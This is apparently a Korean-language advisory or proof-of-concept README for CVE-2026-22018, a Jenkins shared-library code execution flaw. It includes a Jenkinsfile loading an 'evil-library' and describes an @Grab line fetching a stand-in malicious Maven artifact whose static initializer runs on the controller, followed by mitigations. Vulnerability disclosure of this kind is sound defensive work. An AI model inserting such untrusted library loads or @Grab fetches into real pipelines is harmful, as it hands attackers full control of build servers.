CVE-2026-22018 – @Grab을 통한 Jenkins Pipeline Shared Library 코드 실행

프로그램 코드 (Groovy 파이프라인)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Jenkins Pipeline Shared Library 원격 코드 실행

개요

Jenkins 파이프라인은 완전히 신뢰되지 않는 소스에서 공유 라이브러리를 로드합니다. 이 라이브러리는 @Grab 어노테이션을 사용하여 외부 Maven 아티팩트를 다운로드하며, 여기에는 Groovy 컴파일 중 Jenkins 컨트롤러에서 코드를 실행하는 악성 클래스가 포함될 수 있습니다.

취약점 세부 정보

• 유형: 코드 삽입 / 공급망
• 영향: Jenkins 컨트롤러 전체 장악
• 근본 원인: Groovy의 @Grab 어노테이션은 런타임에 임의의 JAR을 가져와 로드하며, 공유 라이브러리는 샌드박스 처리되지 않습니다.

악용 데모

vars/evilStep.groovy에 @Grab('com.evil:malware:1.0')이 포함된 신뢰할 수 없는 라이브러리로 파이프라인을 구성합니다. 파이프라인이 실행되면 악성 JAR의 정적 초기화자가 실행됩니다.

완화 방법

• 신뢰할 수 있고 서명된 SCM 저장소의 공유 라이브러리만 사용하십시오.
• Groovy 샌드박스 보안 설정을 통해 @Grab을 비활성화하십시오.
• “Load implicitly”(암시적으로 로드) 파이프라인 옵션은 주의해서 사용하십시오.

설치 및 사용

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.